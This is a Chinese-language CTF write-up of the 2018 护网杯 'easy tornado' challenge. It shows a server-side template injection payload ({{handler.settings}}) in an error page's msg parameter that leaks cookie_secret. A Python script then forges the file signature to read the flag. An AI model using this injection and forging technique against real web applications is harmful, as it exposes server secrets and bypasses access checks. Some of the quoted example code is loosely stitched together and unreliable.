这个tornado是一个python的模板,在web使用的时候给出了四个文件,可以访问,从提示中和url中可以看出,访问需要文件名+文件签名(长度为32位,计算方式为md5(cookie_secret + md5(filename))); flag文件名题目已给出 /fllllllllllag
题目关键为如何获取cookie,在Bp抓包的情况下没有显示cookie,由于是python的一个模板,首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg
1
| http://117.78.27.209:32354/error?msg=%E7%AD%BE%E5%90%8D%E9%94%99%E8%AF%AF
|
该处将原有参数替换可以执行模板注入msg=,需要注意,这里过滤了大多数奇怪的字符,并且跟以往的题目不同的是,这里不需要python的基类再寻找子函数,而是直接获取环境的变量。
该思想来源于题目的提示render,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,简单的理解例子如下:
1 2 3 4 5 6 7 8 9 10
|
from tornado.web import UIModule from tornado import escape class custom(UIModule): def render(self, *args, **kwargs): return escape.xhtml_escape('<h1>wupeiqi</h1>')
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
|
import tornado.ioloop import tornado.web class MainHandler(tornado.web.RequestHandler): def get(self): self.render('index.html') class LoginHandler(BaseHandler): def get(self): ''' 当用户访登录的时候我们就得给他写cookie了,但是这里没有写在哪里写了呢? 在哪里呢?之前写的Handler都是继承的RequestHandler,这次继承的是BaseHandler是自己写的Handler 继承自己的类,在类了加扩展initialize! 在这里我们可以在这里做获取用户cookie或者写cookie都可以在这里做 ''' ''' 我们知道LoginHandler对象就是self,我们可不可以self.set_cookie()可不可以self.get_cookie() ''' self.render('login.html', **{'status': ''}) def login(request): login_form = AccountForm.LoginForm(request.POST) if request.method == 'POST': if login_form.is_valid(): username = request.POST.get('username') password = request.POST.get('password') if models.UserInfo.objects.get(username=username) and models.UserInfo.objects.get(username=username).password == password: request.session['auth_user'] = username return redirect('/index/') else: return render(request,'account/login.html',{'model': login_form,'backend_autherror':'用户名或密码错误'}) else: error_msg = login_form.errors.as_data() return render(request,'account/login.html',{'model': login_form,'errors':error_msg}) return render(request, 'account/login.html', {'model': login_form})
|
我们大概可以看出来,render是一个类似模板的东西,可以使用不同的参数来访问网页。那么我们在进行该题目的操作时,其实参数也是传递过来的,那么是什么参数呢。
在tornado模板中,存在一些可以访问的快速对象,例如
1 2 3
| <title> {{ escape(handler.settings["cookie"]) }} </title>
|
黑翼天使23的博客园日志可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
输入/error?msg={{handler.settings}}
获取到cookie_secret

215aabc9-e591-438c-b2c3-8d64b939a61b
然后计算一下hash值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import hashlib def md5value(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def mdfive2(): filename = '/fllllllllllag' aaa ="215aabc9-e591-438c-b2c3-8d64b939a61b" print(md5value(filename)) print(md5value(aaa+md5value(filename))) mdfive2()
|
护网杯
2018护网杯第一场 web easy tornado LTshop超详细解答